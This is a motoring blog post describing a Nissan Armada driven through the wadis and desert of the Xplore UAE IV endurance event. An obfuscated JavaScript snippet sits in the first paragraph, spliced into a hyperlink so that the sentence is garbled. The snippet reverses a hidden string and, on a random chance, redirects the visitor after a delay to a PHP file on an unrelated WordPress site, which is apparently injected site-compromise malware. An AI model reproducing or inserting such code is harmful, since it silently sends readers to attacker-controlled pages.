Nissan Armada. Xplore UAE IV. Testing The Mettle, Part Two

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I’ve just reached $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/lifestyle/nissan-armada-xplore-uae-iv-testing-the-mettle-part-one/” target=”_blank”>the halfway point of Xplore UAE IV, a one-day endurance sprint across the wadi region of Fujairah. And so far my Nissan Armada LE, on kind loan from Nissan Middle East, has yet to put a foot wrong.

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It’s as I tuck into a lunchbox the organisers have supplied to each of the participants that the enormity of the task ahead strikes me. Traversing rocky passes has been surprisingly easy in the Armada, the sheer size of the brute as well as solid 4WD capabilities and a responsive throttle essentially flattening obstacles before they can object. However, for our final leg across the (very) soft sand in the desert, this technique seems less advisable.

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I have little time to concern myself with that though, since I’m soon leaping behind the wheel again and setting off in hot pursuit of the rest of my convoy, all of whom seem worryingly keen to get cracking. To prepare for desert driving, all four of the Armada’s tyres have been deflated almost completely, creating a much larger surface area and thus significantly reducing the chance of the tyres sinking into the sand.

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And the feel through the steering is just extraordinary. Almost all sense of poise has gone, the Armada now feeling more like an ocean liner to steer. The brakes are pretty much redundant now too: if I stop, chances are I’ll get stuck. The pedal on the right headlines this show now.

Categories: Lifestyle

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